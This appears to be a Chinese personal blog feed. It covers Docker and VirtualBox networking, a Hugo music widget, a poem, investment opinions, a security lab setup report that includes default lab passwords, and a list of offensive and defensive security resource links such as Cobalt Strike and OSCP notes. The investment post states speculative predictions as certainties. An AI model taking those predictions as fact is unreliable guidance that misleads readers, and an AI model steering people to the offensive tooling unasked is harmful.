容器和另外一个容器共享Network namespace。创建的容器不会创建自己的网卡,配置自己的IP,而是和一个指定的容器共享IP、端口范围 bridge模式 --net=bridge 默认为该模式 此模式会为每一个容器分配、设置IP等,并将容器连接到一个docker0虚拟网桥,通过docker0网桥以及Iptables nat表配置与宿主机通信。 none模式 --net=none 容器使用自己的网络,容器与主机不共享网络,容器之间不能互相通信 host模式 使用host模式,那么这个容器将不会获得一个独立的Network Namespace,而是和宿主机共用一个Network Namespace。容器将不会虚拟出自己的网卡,配置自己的IP等,而是使用宿主机的IP和端口。但是,容器的其他方面,如文件系统、进程列表等还是和宿主机隔离的。 使用host模式的容器可以直接使用宿主机的IP地址与外界通信,容器内部的服务端口也可以使用宿主机的端口,不需要进行NAT,host最大的优势就是网络性能比较好,但是docker host上已经使用的端口就不能再用了,网络的隔离性不好。 container模式 指定新创建的容器和已经存在的一个容器共享一个 Network Namespace,而不是和宿主机共享。新创建的容器不会创建自己的网卡,配置自己的 IP,而是和一个指定的容器共享 IP、端口范围等。同样,两个容器除了网络方面,其他的如文件系统、进程列表等还是隔离的。两个容器的进程可以通过 lo 网卡设备通信。 none模式 Docker容器拥有自己的Network Namespace,但是,并不为Docker容器进行任何网络配置。也就是说,这个Docker容器没有网卡、IP、路由等信息。需要我们自己为Docker容器添加网卡、配置IP等。 这种网络模式下容器只有lo回环网络,没有其他网卡。none模式可以在容器创建时通过–network=none来指定。这种类型的网络没有办法联网,封闭的网络能很好的保证容器的安全性。 bridge模式 当Docker进程启动时,会在主机上创建一个名为docker0的虚拟网桥,此主机上启动的Docker容器会连接到这个虚拟网桥上。虚拟网桥的工作方式和物理交换机类似,这样主机上的所有容器就通过交换机连在了一个二层网络中。 从docker0子网中分配一个IP给容器使用,并设置docker0的IP地址为容器的默认网关。在主机上创建一对虚拟网卡veth pair设备,Docker将veth pair设备的一端放在新创建的容器中,并命名为eth0(容器的网卡),另一端放在主机中,以vethxxx这样类似的名字命名,并将这个网络设备加入到docker0网桥中。可以通过brctl show命令查看。 bridge模式是docker的默认网络模式,不写–net参数,就是bridge模式。使用docker run -p时,docker实际是在iptables做了DNAT规则,实现端口转发功能。可以使用iptables -t nat -vnL查看。 自定义网络 建议使用自定义的网桥来控制哪些容器可以相互通信,还可以自动DNS解析容器名称到IP地址。你可以根据需要创建任意数量的网络,并且可以在任何给定时间将容器连接到这些网络中的零或多个网络。当容器连接到多个网络时,其外部连接通过第一个非内部网络以词法顺序提供。 自定义bridge网络 1 2 3 4 5 6 7 8 9 10 11 # 创建自定义bridge网络 my_bridge docker network create --driver bridge --subnet 192.168.0.0/16 --gateway 192.168.0.1 my_bridge # 使用自定义网络创建容器并指定ip docker run -di --name=lihan_tomcat -p 18080:8080 -v /usr/local/webapps:/usr/local/tomcat/webapps --net my_bridge --ip 192.168.0.2 tomcat:7-jre7 # 查看自定义网络 docker network inspect my_bridge # docker0和自定义网络之间网络不通 Macvlan Macvlan是一个新的尝试,是真正的网络虚拟化技术的转折点。Linux实现非常轻量级,因为与传统的Linux Bridge隔离相比,它们只是简单地与一个Linux以太网接口或子接口相关联,以实现网络之间的分离和与物理网络的连接。 Macvlan提供了许多独特的功能,并有充足的空间进一步创新与各种模式。这些方法的两个高级优点是绕过Linux网桥的正面性能以及移动部件少的简单性。删除传统上驻留在Docker主机NIC和容器接口之间的网桥留下了一个非常简单的设置,包括容器接口,直接连接到Docker主机接口。由于在这些情况下没有端口映射,因此可以轻松访问外部服务。 overlay网络 overlay网络用于连接不同机器上的docker容器,允许不同机器上的容器相互通信,同时支持对消息进行加密,当我们初始化一个swarm或是加入到一个swarm中时,在docker主机上会出现两种网络: 1、称为ingress的overlay网络,用于传递集群服务的控制或是数据消息,若在创建swarm服务时没有指定连接用户自定义的overlay网络,将会加入到默认的ingress网络 2、名为docker_gwbridge桥接网络会连接swarm中所有独立的docker系统进程 可以使用docker network create创建自定义的overlay网络,容器以及服务可以加入多个网络,只有同一网络中的容器可以相互交换信息,可以将单一容器或是swarm服务连接到overlay网络中,但是两者在overlay网络中的行为会有所不同. Kubernetes(K8s) Kubernetes安装

10/3/2023
articleCard.readMore

潇洒人间一键仙

我乃是潇洒人间一键仙, 原装键盘胜雷蛇, 任凭pythonCgolang, web应用信手来。 十载情迷一朝悟 不过芝兰又云雨。 今朝苦修coding道, 明日纵横web3。

9/27/2023
articleCard.readMore

hugo博客音乐组件

前言 本来在搭建了个人博客后觉得实用性更重要,几次准备学习如何装音乐组件又放弃了,但今天突然想到顺便妥善保存自己喜欢的音乐,就整了一个基于Aplayer和GitHub仓库的音乐组件,哈哈,github真成云盘了. 本文以Hugo|Stack主题为例 链接 Aplayer官方中文文档 基于github的自动化音乐仓库 博客导入Aplayer music.html 在博客仓库\layouts\partials(如果没有就新建)目录下新建music.html文件,复制以下代码(可根据官网文档修改) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <!DOCTYPE html> <html> <head> <!-- require APlayer --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/aplayer/dist/APlayer.min.css"> <script src="https://cdn.jsdelivr.net/npm/aplayer/dist/APlayer.min.js"></script> <!-- require MetingJS --> <script src="https://cdn.jsdelivr.net/npm/meting@2.0.1/dist/Meting.min.js"></script> </head> <body> <div class="demo"> <div id="player1"> </div> </div> <script> var ap = new APlayer ({ element: document.getElementById('player1'), fixed: true, autoplay: false, mini: true, theme: '#f8f4fc', loop: 'all', order: 'random', preload: 'auto', volume: 0.4, mutex: true, listFolded: true, listMaxHeight: '500px', lrcType: 0, music: [ { name: 'name', artist: 'artist', url: 'url.mp3', cover: 'cover.jpg' } ] }); //ap.init(); </script> </body> custom.html 在博客仓库\layouts\partials\footer\custom.html文件中插入(新建)以下代码 1 {{ partial "music" . }} 配置 详见官网文档 常见参数: 名称 默认值 描述 container document.querySelector(’.aplayer') 播放器容器元素 fixed false 开启吸底模式, 详情 mini false 开启迷你模式, 详情 autoplay false 音频自动播放 theme ‘#b7daff’ 主题色 loop ‘all’ 音频循环播放, 可选值: ‘all’, ‘one’, ’none’ order ’list’ 音频循环顺序, 可选值: ’list’, ‘random’ preload ‘auto’ 预加载,可选值: ’none’, ‘metadata’, ‘auto’ volume 0.7 默认音量,请注意播放器会记忆用户设置,用户手动设置音量后默认音量即失效 audio - 音频信息, 应该是一个对象或对象数组 audio.name - 音频名称 audio.artist - 音频艺术家 audio.url - 音频链接 audio.cover - 音频封面 audio.lrc - 详情 audio.theme - 切换到此音频时的主题色,比上面的 theme 优先级高 audio.type ‘auto’ 可选值: ‘auto’, ‘hls’, ’normal’ 或其他自定义类型, 详情 customAudioType - 自定义类型,详情 mutex true 互斥,阻止多个播放器同时播放,当前播放器播放时暂停其他播放器 lrcType 0 详情 listFolded false 列表默认折叠 listMaxHeight - 列表最大高度 storageName ‘aplayer-setting’ 存储播放器设置的 localStorage key 基于Github仓库的音乐链接 由于播放器需要在线音乐链接,我选择了将音乐上传到GitHub仓库,然后获取链接,顺便还储存了自己喜欢的音乐. 可以浏览 基于github的自动化音乐仓库 ,学习如何上传音乐到GitHub仓库. 最方便的是这个仓库中直接将音乐生成了符合格式的代码,可以直接复制粘贴到music.html中的music参数中使用. 本博客参考了山茶花舍-给 Hugo 加一点好玩的功能

9/23/2023
articleCard.readMore

投资判断_1

1. 人民币汇率 目前国内经济低迷,出现了资本主义经济危机的典型特征:巨量的过剩生产和低迷的消费需求。 由于货币政策与国际金融的愿意,很难看出长期是通胀还是通缩,但是在美联储加息的情况下以及国内不断刺激经济防水情况下, 短期内人民币对美元一定是贬值的,因此短期内捣鼓rmb-usdt应该有油水。长期来看,经济下行导致通缩可能被货币政策抵消甚至超过,但无论如何,还是要备点存粮避免大萧条没饭吃。 2. btc 2024年btc会再次减半,基于政治经济学原理,btc的交换价值来源于生产过程中消耗的电量、矿机成本、维护运营成本。在btc总数基本不变,情况下,btc价格一定是向上的,再加上2024的减半,预计2024第三季度第四季度,btc会迎来有一次高峰,此时是入手的最佳时机。btc堪比黄金,但距离真正的区块链货币还差很远。 3. 黄金 货币天然是金银而金银天然不是货币,金银的开采成本应该不会出现巨大变动,因此黄金是最好的一般等价物,想保证货币不贬值,避免通胀最好方法就是买黄金。 4. 股票 宏观上就是骗多数人的钱到少数人手上,反正我不碰。

9/22/2023
articleCard.readMore

早已习惯熬夜 两点三十三分亦难以入眠 死水泛起波纹总要终结 只剩绝望空留在我的世界 明知是符号化的幻想 倩影让我心仍难以分别 那年弹着吉他唱十年之前 再回首我亦嵌入那音节 料想早已足够理智 忆起你的莞尔 却次次扰我心乱绝

9/22/2023
articleCard.readMore

2023网络安全作业chap0x01

基于 VirtualBox 的网络攻防基础环境搭建 实验目的 掌握 VirtualBox 虚拟机的安装与使用; 掌握 VirtualBox 的虚拟网络类型和按需配置; 掌握 VirtualBox 的虚拟硬盘多重加载; 实验环境 以下是本次实验需要使用的网络节点说明和主要软件举例: VirtualBox 虚拟机 攻击者主机(Attacker):Kali-linux-2023.3-virtalbox-amd64 网关(Gateway, GW):Debian Buster 靶机(Victim):From Sqli to shell / xp-sp3 / Kali 实验要求 虚拟硬盘配置成多重加载,效果如下图所示; 搭建满足如下拓扑图所示的虚拟机网络拓扑; 根据实验宿主机的性能条件,可以适度精简靶机数量 完成以下网络连通性测试; 靶机可以直接访问攻击者主机 攻击者主机无法直接访问靶机 网关可以直接访问攻击者主机和靶机 靶机的所有对外上下行流量必须经过网关 所有节点均可以访问互联网 实验过程 配置虚拟机与虚拟硬盘 从中传云盘下载黄老师的.vdi文件,并解压到本地目录 在VirtualBox中注册三个虚拟硬盘 创建虚拟机: 创建虚拟机,选择Use an Existing Virtual Hard Disk File 设置多重加载 如果直接在虚拟硬盘界面设置多重加载,会出现报错显示版本过低,如图: 解决方法:先进行步骤3.,点开运行虚拟机后退出,再进行步骤4.,即可成功设置多重加载。 这个方法是偶然间发现的,个人猜测原因是启动虚拟机后,VirtualBox会自动更新虚拟机的版本,从而解决了版本过低的问题。 重复步骤3.和步骤4.,创建6个虚拟机,分别命名为Attacker-kali、Gateway-Debian、Victim-XP-1、Victim-XP-2、Victim-Kali-1、Victim-Debian-2,并设置虚拟硬盘为多重加载,简单分了个组,如图: 配置虚拟机网络、搭建网络拓扑 创建Host-Only网络 创建网卡VirtualBox Host-Only Ethernet Adapter #2 配置地址为192.168.74.1 子网掩码为255.255.255.0 启用DHCP服务器,配置服务器地址为192.168.74.100 子网掩码为255.255.255.0 地址范围为192.168.74.101~254 配置虚拟机及网络 Gateway-Debian 网卡1:NAT网络地址转换 ip:10.0.2.15/24 网卡2:仅主机(Host-Only)网络 选择VirtualBox Host-Only Ethernet Adapter #2 ip:192.168.74.101/24 网卡3:内部网络(InternalNetwork) 命名为InternalNetwork1 ip:172.16.111.1/24 网卡4:内部网络(InternalNetwork) 命名为InternalNetwork2 ip:172.16.222.1/24 开机后发现需要输入账号密码,浏览网络及尝试后得知,Debian的root账号密码为: 账号: root 密码: toor 重置了cuc账户的密码为cuc,方便使用。 检查网卡配置文件发现老师给的镜像中网卡配置已经配置好了。 突然意识到还有5个虚拟机,重新改了一下hostname为lihanGatewayDebian Victim-XP-1/2 以Victim-XP-1为例,另一个同理。 网卡1:内部网络(InternalNetwork) 命名为InternalNetwork1 ip:172.16.111.112 网关:172.16.111.1 开机验证: Victim-XP-2 - 网卡1:内部网络(InternalNetwork) 命名为InternalNetwork2 ip:172.16.222.114 网关:172.16.222.1 Victim-kali-1 开机后发现需要输入账号密码,浏览网络及尝试后得知,Debian的root账号密码为: 账号: kali 密码: kali 网卡1:内部网络(InternalNetwork) 命名为InternalNetwork1 ip:172.16.111.102 网关:172.16.111.1 开机验证: Victim-Debian-2 网卡1:内部网络(InternalNetwork) 命名为InternalNetwork2 ip:172.16.222.143 网关:172.16.222.1 开机验证: Attacker-kali 创建NAT网络,并修改Gateway-Debian的网卡1为NAT网络: 网卡1:NAT网络 ip: 10.0.2.4 开机验证: 进行尚未进行过的网络连通性验证 靶机-攻击机 靶机可以直接访问攻击者主机 攻击者主机无法直接访问靶机 靶机的所有对外上下行流量必须经过网关 总览 实验问题 修改Debian的主机名后,使用sudo命令时会出现如下报错: 1 sudo: unable to resolve host lihanDebian: No address associated with hostname 应该是修改了主机名后一些程序调用的仍然是原来的主机名,好在不影响使用,但总卡几秒钟并且需要重复输入密码很烦人。 解决方法: 1 sudo vim /etc/hosts 参考 VirtualBox虚拟机几种网络的区别 Debian 修改主机名的方法 Ubuntu / Debian: sudo 出现 unable to resolve host 错误解决办法 linux虚拟机安装与配置/ssh免密登录 黄老师的畅课视频回放

9/22/2023
articleCard.readMore

VirtualBox虚拟机几种网络的区别

前言 配置VirtualBox虚拟机网络时,有几种网络模式,这里做一个总结。 网络模式 网络地址转换NAT 在VirtualBox中,当使用NAT模式时,多个虚拟机的IP地址相同。如果您将2个或多个虚拟机的网络适配器配置为使用NAT模式,每个虚拟机将在一个隔离网络的虚拟NAT设备后获得一个10.0.2.15的IP地址。每个虚拟机的默认网关是10.0.2.2。 VirtualBox网络使用NAT网络模式的时候,虚拟机上的操作系统也可以访问外部网络,包括互联网;宿主机或其所在局域网的其他服务器不能直接访问虚拟机。 NAT网络 NAT网络模式,不能从宿主机访问客机(除非你在全局VirtualBox网络设置中配置了端口转发)。一个内置的VirtualBox NAT路由器使用VirtualBox主机的物理网络接口控制器作为外部网络接口(和NAT模式一样)。 如果你对多个虚拟机使用NAT网络模式,它们可以通过网络相互通信。虚拟机可以访问物理网络中的其他主机,也可以访问外部网络,包括互联网。任何来自外部网络的机器以及宿主机所连接的物理局域网的机器都不能访问被配置为使用NAT网络模式的虚拟机。 NAT网络的默认地址是10.0.2.0/24。默认的网关IP地址是10.0.2.1(x.x.x.1的ip模版通常被用于设置默认网关IP),比如,如果你在virtualbox中配置了基于NAT网络模式的虚拟网络,设置了192.168.22.0/24的网络地址,则这个网络的网关地址会是192.168.22.1。 在NAT网络模式下,你不能改变网关的IP地址,也不能改变由DHCP服务器分配的IP地址范围。类似的,DHCP服务器的IP地址默认是10.0.2.3(使用x.x.x.3的模版)。 桥接网卡(桥接适配器) 将虚拟机的虚拟网络适配器与VirtualBox主机的物理网络适配器相连。虚拟机的虚拟网络适配器使用主机网络接口进行网络连接。简单地说,虚拟网络适配器直接发送或接收网络数据包,不使用额外的路由。 宿主机所在的物理本地局域网的服务器都能独立对等地访问跑在虚拟机上的服务器。桥接模式下运行的虚拟网络适配器的默认网关与主机的默认网关相同. 你可以从虚拟机访问宿主机、宿主机所在物理网络的其他主机以及外部网络,包括互联网。虚拟机也可以被同一物理局域网中的宿主机以及其他主机(或虚拟机)所访问。如果你在宿主机上有多个物理网络适配器,你应该在VirtualBox网络设置中选择正确的适配器。 混杂模式这种模式允许网络适配器中转所有接收到的流量,无论流量是寻址哪个适配器的。在正常模式下,网络适配器只接收包括该特定网络适配器的MAC地址作为目标地址的帧。在正常模式下,被寻址到与所选适配卡的MAC地址不同的MAC地址的帧(当流量不是广播时)会被丢弃。混杂模式使一个物理网络适配器有多个MAC地址成为可能,允许所有传入的流量通过主机的物理网络适配器,到达虚拟机的虚拟网络适配器,该虚拟机有自己的MAC地址,并被认为是宿主机物理适配器上的另一个mac地址,即使该流量并不是寻址该特定虚拟机的虚拟网络适配器。 使用混杂模式有三个选项: 1、Deny。 任何不以虚拟机的虚拟网卡为目的地的流量都将被屏蔽。这个选项是默认设置。 2、Allow VMs。 除了去向或来自于虚拟机的流量,其他流量都将被屏蔽。 3、Allow ALL。 这一模式下没有限制,虚拟机的网卡可以看到所有进来、出去的流量。混杂模式不仅可以用于桥接网络模式,也可以用于NAT网络模式,Internal网络模式和Host-only适配器模式。 内部网络(Internal Network) VirtualBox中的虚拟机网卡被配置成Internal network模式的时候,他们会被接入一个隔离的虚拟网络。在这个隔离的虚拟网络中,虚拟机之间可以互相通信,但是他们不能和Virtualbox中的宿主机通信,不能和宿主机所在的局域网中的其他主机通信,也不能外部网络通信。宿主机或其他设备可以访问接入到Internal Network中的虚拟机。Virtualbox中的Internal network可以用来模拟真实网络。 Host-Only仅主机网络 这种网络模式用于在宿主机和虚拟机之间进行通信。一个虚拟机可以与连接到host-only网络的其他虚拟机通信,也可以与宿主机通信。VirtualBox宿主机可以访问所有连接到host-only网络的虚拟机。 虚拟机的虚拟网络适配器在其IP配置中没有网关,因为host-only模式不允许你连接到host-only网络以外的任何设备。 端口转发(Port Forward) 端口转发是将寻址向某个IP地址和端口的流量转发到另一个不同的IP地址和端口的处理操作。服务器和其他路由设备上可以使用专门应用程序来实现端口转发。端口转发最常用的一个应用场景是为隐藏在NAT后边的特定的网络设备提供外部网络访问入口。 配置完端口转发规则后,客户端可以通过连接路由器(或主机)外部IP地址和专用端口来访问特定的服务。网络包会首先被路由器上的一个应用程序所截获,然后这个应用程序会读取网络包头中的目的IP地址和端口号(IP包头,含有TCP或UDP段的包头)。如果包头中目的IP地址和端口号的组合能与端口转发规则集合中的某个条件匹配上,路由器程序就会重写包头中的信息(IP地址和/或端口号),并根据端口转发规则将包/段发送给另一个网络接口。 默认情况下,VirtualBox宿主机和其他局域网中的主机不能访问网络适配器被设置成NAT或NAT Network模式-的VirtualBox虚拟机,但是VirutalBox提供了内置的端口转发特性支持了这种类型的访问。 总结

9/20/2023
articleCard.readMore

网安实验室相关资料链接

项目简介 https://github.com/euphrat1ca/security_w1k1 信息收集、攻击尝试获得权限、持久性控制、权限提升、网络信息收集、横向移动、数据分析(此基础上做持久化控制)、扫尾。 几千行的项目有点过于庞大,于是在第两百次更新的时候,选择把一些较为频繁的持续更新内容分到其它文件内。 分类标签:mywiki;intro;工具手册;通讯技术工具;威胁情报;恶意样本;自服务应用;研究技术;漏洞利用;web安全; 导航标签:一个人的安全部;awesome系列;类似于于**架构; 类型标签:模拟测试;* kali系统类;* ATT&CK矩阵类;作者拼音;Github:\Web:\Page:\Connect;常见缩写; 状态标签:simple;noupdate;商业版;社区版; 测评标签:testjob;welljob;goodjob;greatjob; 安全相关资源列表 https://arxiv.org //康奈尔大学(Cornell University)开放文档 https://github.com/sindresorhus/awesome //awesome系列 https://github.com/k4m4/movies-for-hackers //安全相关电影 http://www.owasp.org.cn/owasp-project/owasp-things //OWASP项目 https://github.com/Hack-with-Github/Awesome-Hacking //GitHub万星推荐:黑客成长技术清单 https://github.com/SecWiki/sec-chart //安全思维导图集合 https://github.com/Mayter/sec-charts //在sec-wiki的思维导图加上作者收藏 https://github.com/Ascotbe/Osmographic-brain-mapping //安全思维脑图。ctf/web/二进制/ai/区块链/业务/主机/社工/移动/无线/运维/风控 https://github.com/tom0li/collection-document //安全部/攻防/内网/Web/apt/漏洞预警/开发/Bug Bounty/SDL/SRC https://github.com/secure-data-analysis-data-sharing/data-analysis 资料分为安全态势、攻防对抗、数据分析、威胁情报、应急响应、物联网安全、企业安全建设、其他书籍八部分 https://github.com/hongriSec/AI-Machine-Learning-Security //机器学习算法、AI模型、渗透测试工具 https://github.com/bt3gl/Pentesting-Toolkit //CTF、逆向、移动端、网络安全、web安全、工具使用。welljob。 安全建设方案 https://www.nist.gov/topics/cybersecurity //美国国家标准与技术研究院。NVD漏洞库 https://www.mitre.org/publications/all //mitre安全机构。CVE漏洞库 https://www.alibabacloud.com/blog //阿里安全建设 https://security.tencent.com/index.php/blog/msg/139 //腾讯安全建设。网络空间安全时代的红蓝对抗建设 https://github.com/baidu-security //百度安全建设 https://ai.google/research/pubs/?area=SecurityPrivacyandAbusePrevention //谷歌安全建设 https://aws.amazon.com/cn/blogs/security/ //亚马逊安全建设 https://code.fb.com/category/security/ //Facebook安全建设 http://www.freebuf.com/articles/ics-articles/178822.html //浅析煤炭企业如何进行工控安全建设 https://www.sec-un.org/金融业企业安全建设之路/ //金融业企业安全建设之路。niejun https://blogs.cisco.com/tag/ios-security //思科网络设备操作维护系统IOS(互联网操作系统Internetwork Operating System) 安全实验室中心建设 https://www.freebuf.com/articles/es/211571.html //安全实验室的发展及展望 公众号:开篇|猪八戒安全建设漫谈 安全体系建设分享01期|目标、团队、考核 // https://bbs.ichunqiu.com/thread-53927-1-1.html //奇安信「实战攻防三部曲」要点总结。实战攻防之红蓝紫队 https://github.com/Leezj9671/offensiveinterview //安全/渗透测试/红队面试题.G:WebBreacher/offensiveinterview; 安全运营中心(SOC)建设 https://www.secrss.com/articles/8051 //谈一谈如何建设体系化的安全运营中心(SOC) http://www.freebuf.com/articles/network/169632.html //开源软件创建SOC的一份清单 http://paper.tuisec.win/detail/34ab12018f71e71 //个人总结的漏洞管理流程分享 https://www.secrss.com/articles/4088 //安全资产管理中容易被忽视的几点。niejun 公众号:评估一个新的安全数据源的有效性: Windows Defender 漏洞利用防护(上、下) 安全风控建设 https://github.com/threathunterX/nebula //LUA/PERL.威胁猎人开源"星云"业务风控系统 https://github.com/momosecurity/aswan //PY.陌陌风控系统静态规则引擎,零基础简易便捷的配置多种复杂规则,实时高效管控用户异常行为。 https://github.com/xdite/internet-security //互联网金融企业安全与风控的实战手册。资安风控 安全开发 https://github.com/FallibleInc/security-guide-for-developers //安全开发规范 https://www.securitypaper.org/ //SDL建设文档。开发安全生命周期管理 https://github.com/Hygieia/Hygieia //JS.Capitalone银行开源的DevOps利器 产品设计原型 https://www.fireeye.com/cyber-map/threat-map.html //FireEye公司“网络威胁地图” https://cybermap.kaspersky.com/ //卡巴斯基(Kaspersky)的“网络实时地图” http://www.digitalattackmap.com/ //Arbor networks的由全球270个ISPs匿名分享流量的“数字攻击地图” https://hubble.nexusguard.com //Nexusguard Hubble攻击地图 https://echarts.baidu.com/examples/index.html#chart-type-globe //Echart图 https://book.yunzhan365.com/dksd/oyru/mobile/index.html //基于攻击链的网络威胁捕猎架构设计 http://www.colasoft.com.cn/download/network-defense-map-2018.pdf //科来网络攻击与防范图谱 https://www.anquanke.com/post/id/178339 //漏扫动态爬虫实践。pyppeteer https://www.jianshu.com/p/852e0fbe2f4c //安全产品厂商分类 https://github.com/xianlimei/yiwei.github.io/wiki //私有云、区块链安全研究,rasp、waf、主机安全产品介绍 产品设计文档 https://www.freebuf.com/sectool/135032.html/ //构建一个高交互型的难以发现的蜜罐 https://bloodzer0.github.io/ossa/ //OSSA,利用开源文件进行开源安全架构.主机、扫描器、端口、日志、防护设备等 https://github.com/dvf/blockchain //用Python从零开始创建区块链 https://github.com/chryzsh/DarthSidious //从0开始你的域渗透之旅,包括搭建到渗透测试域环境。G:crazywa1ker/DarthSidious-Chinese; https://paper.seebug.org/772/ //如何使用 KittyFuzzer 结合 ISF 中的工控协议组件对工控协议进行 Fuzz https://paper.seebug.org/913/ //如何打造自己的PoC框架-Pocsuite3-框架篇。simple 安全基础科普培训 https://book.yunzhan365.com/umta/rtnp/mobile/index.html //网络安全科普小册子 https://book.yunzhan365.com/ybab/exnz/mobile/index.html //FP50 优秀网络安全解决方案 白皮书 http://sec.cuc.edu.cn/huangwei/textbook/ns/ //网络安全电子版教材。中传信安课程网站 https://space.bilibili.com/37422870 //入门安全视频 https://space.bilibili.com/406898187/channel/detail?cid=85655 //安全帮内网高级加固课程 https://ilearningx.huawei.com/portal/#/portal/EBG/26 //华为e学云。安全科普 https://github.com/tiancode/learn-hacking //网络安全入门文章集 https://keenlab.tencent.com/zh/index.html //腾讯科恩实验室 https://www.freebuf.com/articles/neopoints/190895.html //入门介绍。fuzz/漏挖/脚本 https://github.com/ym2011/SecurityManagement //分享安全管理体系、ISO27001、等级保护、安全评审的经验 https://null-byte.wonderhowto.com //msf/fb/wifi/pass/取证/social/信息收集 安全博客论坛 https://www.malwareanalysis.cn/ //安全分析与研究 专注于全球恶意样本的分析与研究 bbs.125.la/ 精易求精;52pojie.cn/ //吾爱破解 lcx.cc:NuclearAtk核总,文章/工具;blog.orange.tw:橘子出品必属精品 // https://github.com/DropsOfZut/awesome-security-weixin-official-accounts //网络安全类公众号推荐 https://www.lshack.cn //工控安全入门 安全大会资料 https://www.hackinn.com/search/?keyword= //资料站 https://www.hackinn.com/index.php/archives/492/ //HackingDay 2019 (中国杭州) http://www.irongeek.com/i.php?page=security/hackingillustrated //国内外安全大会相关视频与文档 https://github.com/knownsec/KCon //KCon大会文章PPT https://github.com/knownsec/RD_Checklist //知道创宇技能列表 https://github.com/ChrisLinn/greyhame-2017 //灰袍技能书2017版本 安全工具使用手册指导介绍 https://github.com/HarmJ0y/CheatSheets //多个项目的速查手册(Beacon / Cobalt Strike,PowerView,PowerUp,Empire和PowerSploit) https://www.cnblogs.com/backlion/p/10616308.html //Coablt strike官方教程中文译版本 https://github.com/aleenzz/Cobalt_Strike_wiki //Cobalt Strike系列教程。0.5k。 https://wizardforcel.gitbooks.io/kali-linux-web-pentest-cookbook/content/ //Kali Linux Web渗透测试秘籍 中文版 https://github.com/louchaooo/kali-tools-zh //kali下工具使用介绍手册 https://www.offensive-security.com/metasploit-unleashed/ //kali出的metasploit指导笔记 http://www.hackingarticles.in/comprehensive-guide-on-hydra-a-brute-forcing-tool/ hydra使用手册 https://www.gitbook.com/book/t0data/burpsuite/details //burpsuite实战指南 https://zhuanlan.zhihu.com/p/26618074 //Nmap扩展脚本使用方法 https://github.com/hardenedlinux/linux-exploit-development-tutorial //Linux exploit 开发入门 https://wizardforcel.gitbooks.io/asani/content //浅入浅出Android安全 中文版 https://wizardforcel.gitbooks.io/lpad/content //Android 渗透测试学习手册 中文版 Offensive Security全家桶 https://github.com/b1n4ry4rms/RedTeam-Pentest-Cheatsheets/ //常见工具命令 OSCP渗透测试 https://github.com/anandkumar11u/OSCP-60days //OSCP All Tools https://github.com/neal1991/OSCP_learing //oscp learning。tools、command https://github.com/foobarto/redteam-notebook //OSCP-EXAM 红队标准渗透测试流程+常用命令 https://github.com/gajos112/OSCP //OSCP-EXAM https://github.com/RustyShackleford221/OSCP-Prep //OSCP-EXAM https://github.com/lsh4ck/oscp //oscp历程。lshack.cn备战 https://0xdarkvortex.dev/index.php/2018/04/17/31-days-of-oscp-experience/ //31 days of OSCP Experience OSCE漏洞挖掘 https://www.freebuf.com/news/206041.html //中文首发丨OSCE(Offensive Security Certified Expert)考证全攻略 https://github.com/ihack4falafel/OSCE // https://github.com/dhn/OSCE // https://github.com/73696e65/windows-exploits // 安全运维 https://github.com/aqzt/kjyw //快捷运维,代号kjyw,项目基于shell、python,运维脚本工具库,收集各类运维常用工具脚本,实现快速安装、快速配置策略等。安全专题 https://github.com/aqzt/sso //服务器安全运维规范(Server security operation) https://github.com/imthenachoman/How-To-Secure-A-Linux-Server //Linux服务器保护。9k https://github.com/SwiftOnSecurity/sysmon-config //sysmon配置文件安装 https://github.com/trimstray/nginx-admins-handbook //nginx操作手册。8k https://github.com/valentinxxx/nginxconfig.io/ //在线nginx配置文件生成,demo网址https://nginxconfig.io 系统安全检查基线配置 https://www.open-scap.org/ //安全基线评估工具集 https://www.cisecurity.org/cis-benchmarks/ //CIS总结的140多种配置基准 https://github.com/Jsitech/JShielder //linux下服务器一键加固脚本 https://github.com/trimstray/linux-hardening-checklist //Linux服务器加固基线 https://github.com/a13xp0p0v/kconfig-hardened-check //用于检查 Linux 内核配置中的安全加固选项的脚本 https://github.com/wstart/DB_BaseLine //数据库基线检查工具 https://github.com/drduh/macOS-Security-and-Privacy-Guide //PY.MacOS安全性基线 安全服务checklist https://github.com/juliocesarfort/public-pentesting-reports //由几家咨询公司和学术安全组织发布的公共渗透测试报告的列表。 http://pentestmonkey.net/category/cheat-sheet //渗透测试常见条目 https://github.com/arunmagesh/hw_hacking_cheatsheet 硬件hardware测试条目 https://mp.weixin.qq.com/s/O36e0gl4cs0ErQPsb5L68Q //区块链,以太坊智能合约审计 CheckList https://github.com/slowmist/eos-bp-nodes-security-checklist //区块链,EOS bp nodes security checklist(EOS超级节点安全执行指南) https://github.com/0xRadi/OWASP-Web-Checklist //owasp网站检查条目 https://github.com/GitGuardian/APISecurityBestPractices //api接口测试checklist https://github.com/shieldfy/API-Security-Checklist //api开发核对清单。12k。 https://github.com/theLSA/CS-checklist //CS客户端安全检查checklist https://xz.aliyun.com/t/2089 //金融科技SDL安全设计checklist 汽车安全测试Checklist //水滴安全实验室 应急响应溯源 https://security.tencent.com/opensource/detail/19 腾讯开源的xSRC应急响应中心cms https://www.secrss.com/articles/10986 //一次攻防实战演习复盘总结。奇安信 https://github.com/Bypass007/Emergency-Response-Notes //应急响应实战笔记。应急响应/日志分析/僵木蠕分析。1.1k。 https://github.com/tide-emergency/yingji //PY2.查看主机状态/启动项/历史命令/用户特权/文件修改/异常IP等 https://github.com/trimstray/iptables-essentials //IP table常见防火墙规则与命令 https://github.com/ppabc/cc_iptables //收集处理DDOS、CC攻击各类脚本,包括NGINX日志中的CC攻击IP处理。 日志分析可视化 https://github.com/grafana/grafana //TypeScript,GO.用于可视化大型测量数据的开源程序,提供创建、共享、浏览数据方法与众多功能插件。greatjob。29.5k。 https://github.com/Cyb3rWard0g/HELK //Jupyter Notebooks.基于ELK(Elasticsearch, Logstash, Kibana)的日志威胁分析。1.5K。 https://github.com/JeffXue/web-log-parser //PY.web日志分析工具 https://github.com/JPCERTCC/LogonTracer //JS,PY.根据win登陆记录日志来分析并用图形化展示恶意登陆行为 https://github.com/jpcertcc/sysmonsearch //JS.将Sysmon的日志结果可视化 https://github.com/olafhartong/sysmon-cheatsheet //Sysmon操作手册,各id属性含义 https://github.com/baronpan/SysmonHunter //JS.针对att&ck对sysmon日志进行分析展示 https://github.com/zhanghaoyil/Hawk-I //PY.基于无监督机器学习算法从Web日志中自动提取攻击Payload https://github.com/JPCERTCC/LogonTracer 